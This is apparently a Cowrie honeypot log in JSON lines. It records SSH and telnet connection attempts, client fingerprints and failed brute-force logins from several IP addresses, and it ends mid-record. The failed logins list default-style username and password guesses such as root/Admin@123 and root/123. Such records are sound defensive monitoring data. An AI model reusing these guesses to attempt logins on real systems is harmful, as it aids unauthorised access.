{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:11.883473Z","src_ip":"31.40.204.166","session":"c3bebdd0ad9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:11.891236Z","src_ip":"31.40.204.166","session":"c3bebdd0ad9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:12.504462Z","src_ip":"31.40.204.166","session":"c3bebdd0ad9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:13.705197Z","src_ip":"31.40.204.166","session":"c3bebdd0ad9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43472,"dst_ip":"10.17.0.5","dst_port":23,"session":"d03608d46c8c","protocol":"telnet","message":"New connection: 152.42.224.71:43472 (10.17.0.5:23) [session: d03608d46c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:13.817125Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43484,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6ac8f918f1d","protocol":"telnet","message":"New connection: 152.42.224.71:43484 (10.17.0.5:23) [session: e6ac8f918f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:14.837520Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39564,"dst_ip":"10.17.0.5","dst_port":23,"session":"c83762497e16","protocol":"telnet","message":"New connection: 152.42.224.71:39564 (10.17.0.5:23) [session: c83762497e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:17.085434Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39578,"dst_ip":"10.17.0.5","dst_port":23,"session":"400c580cab39","protocol":"telnet","message":"New connection: 152.42.224.71:39578 (10.17.0.5:23) [session: 400c580cab39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:17.669004Z"}
{"eventid":"cowrie.session.closed","duration":96.5077793598175,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:19.630517Z","src_ip":"152.42.224.71","session":"3b46d88f3102","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39588,"dst_ip":"10.17.0.5","dst_port":23,"session":"32fd6d0529ff","protocol":"telnet","message":"New connection: 152.42.224.71:39588 (10.17.0.5:23) [session: 32fd6d0529ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:20.401807Z"}
{"eventid":"cowrie.session.closed","duration":26.150280475616455,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:21.417517Z","src_ip":"152.42.224.71","session":"1b12e2b31a46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.19419264793396,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:21.435316Z","src_ip":"152.42.224.71","session":"c7bb554e4b80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39600,"dst_ip":"10.17.0.5","dst_port":23,"session":"68787cf08de3","protocol":"telnet","message":"New connection: 152.42.224.71:39600 (10.17.0.5:23) [session: 68787cf08de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:21.847134Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39604,"dst_ip":"10.17.0.5","dst_port":23,"session":"4857922e270a","protocol":"telnet","message":"New connection: 152.42.224.71:39604 (10.17.0.5:23) [session: 4857922e270a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:23.380118Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34476,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc79cecfa7ff","protocol":"ssh","message":"New connection: 31.40.204.166:34476 (159.203.135.109:22) [session: bc79cecfa7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:23.912778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:23.917422Z","src_ip":"31.40.204.166","session":"bc79cecfa7ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:24.103857Z","src_ip":"31.40.204.166","session":"bc79cecfa7ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:24.589873Z","src_ip":"31.40.204.166","session":"bc79cecfa7ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:25.880569Z","src_ip":"31.40.204.166","session":"bc79cecfa7ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.417269468307495,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:26.792954Z","src_ip":"152.42.224.71","session":"42f0eb1b1e6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49774,"dst_ip":"10.17.0.5","dst_port":23,"session":"f605c8ac3dad","protocol":"telnet","message":"New connection: 152.42.224.71:49774 (10.17.0.5:23) [session: f605c8ac3dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:30.275342Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":43620,"dst_ip":"159.203.135.109","dst_port":22,"session":"a588d6d7b61f","protocol":"ssh","message":"New connection: 101.36.108.213:43620 (159.203.135.109:22) [session: a588d6d7b61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:30.932405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:30.935916Z","src_ip":"101.36.108.213","session":"a588d6d7b61f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:31.155915Z","src_ip":"101.36.108.213","session":"a588d6d7b61f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":44284,"dst_ip":"159.203.135.109","dst_port":22,"session":"39e71fd832f2","protocol":"ssh","message":"New connection: 119.28.115.94:44284 (159.203.135.109:22) [session: 39e71fd832f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:31.557988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:31.563198Z","src_ip":"119.28.115.94","session":"39e71fd832f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:31.812452Z","src_ip":"119.28.115.94","session":"39e71fd832f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456#","message":"login attempt [root/admin123456#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:32.051877Z","src_ip":"101.36.108.213","session":"a588d6d7b61f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49786,"dst_ip":"10.17.0.5","dst_port":23,"session":"66c4995cb9fe","protocol":"telnet","message":"New connection: 152.42.224.71:49786 (10.17.0.5:23) [session: 66c4995cb9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:32.764448Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:32.821167Z","src_ip":"119.28.115.94","session":"39e71fd832f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":110.7847843170166,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:32.976384Z","src_ip":"152.42.224.71","session":"533ddef15464","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:33.268330Z","src_ip":"101.36.108.213","session":"a588d6d7b61f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:34.067949Z","src_ip":"119.28.115.94","session":"39e71fd832f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49794,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc00db11f0bb","protocol":"telnet","message":"New connection: 152.42.224.71:49794 (10.17.0.5:23) [session: fc00db11f0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:34.594952Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52588,"dst_ip":"159.203.135.109","dst_port":22,"session":"d781ddf0afb3","protocol":"ssh","message":"New connection: 31.40.204.166:52588 (159.203.135.109:22) [session: d781ddf0afb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:35.886477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:35.889569Z","src_ip":"31.40.204.166","session":"d781ddf0afb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:36.099030Z","src_ip":"31.40.204.166","session":"d781ddf0afb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.12595272064209,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:36.721485Z","src_ip":"152.42.224.71","session":"0e981e276dc3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:36.882219Z","src_ip":"31.40.204.166","session":"d781ddf0afb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50536,"dst_ip":"10.17.0.5","dst_port":23,"session":"eadbebf35e9b","protocol":"telnet","message":"New connection: 152.42.224.71:50536 (10.17.0.5:23) [session: eadbebf35e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:37.442497Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:38.096595Z","src_ip":"31.40.204.166","session":"d781ddf0afb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":36516,"dst_ip":"159.203.135.109","dst_port":22,"session":"517e93354bc6","protocol":"ssh","message":"New connection: 43.156.227.3:36516 (159.203.135.109:22) [session: 517e93354bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:38.838388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:38.843223Z","src_ip":"43.156.227.3","session":"517e93354bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:39.079823Z","src_ip":"43.156.227.3","session":"517e93354bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.58662390708923,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:39.611416Z","src_ip":"152.42.224.71","session":"fe2c62dea7e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50540,"dst_ip":"10.17.0.5","dst_port":23,"session":"3879c6f4fde6","protocol":"telnet","message":"New connection: 152.42.224.71:50540 (10.17.0.5:23) [session: 3879c6f4fde6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:40.046737Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123","message":"login attempt [root/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:40.057990Z","src_ip":"43.156.227.3","session":"517e93354bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:41.301974Z","src_ip":"43.156.227.3","session":"517e93354bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":56428,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac3f2d78bc7b","protocol":"ssh","message":"New connection: 43.153.54.120:56428 (159.203.135.109:22) [session: ac3f2d78bc7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:42.898298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:42.902539Z","src_ip":"43.153.54.120","session":"ac3f2d78bc7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@open